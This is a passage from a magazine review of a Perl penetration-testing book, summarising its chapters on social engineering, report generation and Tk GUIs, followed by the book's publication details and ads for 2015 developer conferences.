Chapter 11 deals with Social Engineering, and as Berdeaux says, that’s about psychology:

I

Human psychology and the human nature of will, sympathy, empathy, and the most
commonly exploited nature of curiosity are all weaknesses that a successful social
engineer can use to elicit private information. Some institutions and most large-scale
client targets for penetration testing are slowly becoming aware of this type of attack and
are employing practices to mitigate these attacks. However, just as we can sharpen our
weapons to clear through defense, we can also sharpen our social engineering skills
by investing our efforts in the initial OSINT, profiling and gathering information, which we
have already done throughout the course of this book.

This kind of penetration method relies on bait messages. It is effective because it so often works when
all else fails. Ultimately it relies on human frailty and trust. Berdeaux makes it clear that a great deal
of our trust is in the integrity of the programs we use. He uses the example of a rogue version of SSH
written in Perl to make this point

Chapter 12 deals with the most important part of any penetration test operation: the reporting of the
results. A quality report ensures a satisfied client. As Berdeaux says:

I

The process of planning the reports begins the minute we begin testing and ends the
minute we stop.

He goes on to add

I

Logging successful steps is not only crucial for the logistics of the target client, but can
also lead to further exploitation after close analysis.

Perl is admirable suited to generating and tabulating reports, it was part of its original design concept.
Along the way, Perl has seen the development of many code modules and has been the core of the
engine behind many web sites. That has led to facilities for things such as graphing, which are used
in the examples here.

96

The final report might be presented as a PDF or as a web page (HTML). Perl can handle both and
both are illustrated. These techniques, obviously, have a wider application.
Finally in Chapter 13 we learn how to write GUIs in Perl with the “Tk” extensions. Along the way we
have to learn the Object Oriented syntax of Perl.
If I had been structuring this book I would have introduced the OO-Perl much earlier and make use
of the GUI capabilities much earlier. At the very least, the techniques of OO-Perl and call-backs that
this chapter introduces are more generally applicable.
GUIs can be wonderful things, or they can be limiting things. It is up to the GUI designer. The point
of this chapter is that you can be the GUI designer and have an interface that meets your needs.
Source
Details

PenTest Magazine |

Title

Penetration testing in Perl

Author

Douglas Berdeaux

Publisher

Packt Publishing (http://www.packt.com)

Address

Livery Place, 35 Livery Street, Birmingham
B3 2PB, UK

ISBN–13

978–1–78328–345–3

Date

2014

Price

$26.99 ebook, $44.99 print+ebook

Pages

332

InterDrone is Three Awesome Conferences:

For Builders

More than 35 classes,
tutorials and panels for
hardware and embedded
engineers, designers and
software developers building
commercial drones and the
software that controls them.

For Flyers and Buyers

More than 35 tutorials and
classes on drone operations,
flying tips and tricks, range,
navigation, payloads, stability,
avoiding crashes, power,
environmental considerations,
which drone is for you, and more!

Meet with 80+ exhibitors!
Demos! Panels! Keynotes!
The Zipline!

For Business Owners,
Entrepreneurs & Dealers

Classes will focus on running a drone
business, the latest FAA requirements
and restrictions, supporting and
educating drone buyers, marketing
drone services, and where the next
hot opportunities are likely to be!

September 9-10-11, 2015
Rio, Las Vegas
www.InterDrone.com

A BZ Media Event

Calling all
SharePoint
and Office 365
Developers!
Microsoft Keynote!
Chris Johnson

June 24 - 26, 2015
San Francisco

Group Product Manager for Office 365
at Microsoft
“We are very excited to see an event that
is purely focused on developers, Office
365 and SharePoint. See you there!”
—Chris Johnson

SPTechCon Developer Days will help you understand the new application model, modern Web development architecture, languages and techniques, and much more. Check out these topics on the agenda:
The New App Model • JavaScript and jQuery • Office Graph & Delve • REST, CSOM and APIs • Web Part
Development • Modern Web Development Architecture • Responsive Web Design Client-Side Development
• App and Workflow Customization • Branding • SPServices • The Content Query Web Part • SharePoint for
ASP.NET Developers • Visual Studio and SharePoint • Building Single-Page Apps • AngularJS and BreezeJS
• Mastering Bootstrap • HTML5 and CSS • TypeScript for SharePoint Developers • Developing an Intranet
• The Data View Web Part Office Web Apps • Business Connectivity Service • Creating Master Pages and
Page Layouts• Secured Web Services Solutions Versioning and Upgrading Features • The Content Search
Web Part • The Evolution of SharePoint Event Receivers • Code Solutions for Performance and Scalability

Presented by

Attendance limited to
the first 375 developers

SPTechCon™ is a trademark of BZ Media LLC. SharePoint® is a registered trademark of Microsoft.

Check out the program at www.sptechcon.com/devdays
A BZ Media Event

Take your Android development
skills to the next level!
Whether you’re an enterprise developer, work for a commercial
software company, or are driving your own startup, if you want to build
Android apps, you need to attend AnDevCon!

July 29-31, 2015
Sheraton Boston

Android is everywhere!
But AnDevCon is where
you should be!

Right after
Google IO!

• Choose from more than 75 classes and
in-depth tutorials
• Meet Google and Google Development Experts
• Network with speakers and other Android developers
• Check out more than 50 third-party vendors
• Women in Android Luncheon
• Panels and keynotes
• Receptions, ice cream, prizes and more

“There are awesome speakers that are willing to
share their knowledge and advice with you.”
—Kelvin De Moya, Sr. Software Developer, Intellisys

“Definitely recommend this to anyone who is
interested in learning Android, even those who have
worked in Android for a while can still learn a lot.”
—Margaret Maynard-Reid, Android Developer, Dyne, Inc.

(plus lots of coffee!)

Register Early and Save at www.AnDevCon.com
A BZ Media Event

#AnDevCon

AnDevCon™ is a trademark of BZ Media LLC. Android™ is a trademark of Google Inc. Google’s Android Robot is used under terms of the Creative Commons 3.0 Attribution License.

Sponsor Documents

Or use your account on DocShare.tips

Hide

Forgot your password?

Or register your new account on DocShare.tips

Hide

Lost your password? Please enter your email address. You will receive a link to create a new password.

Back to log-in

Close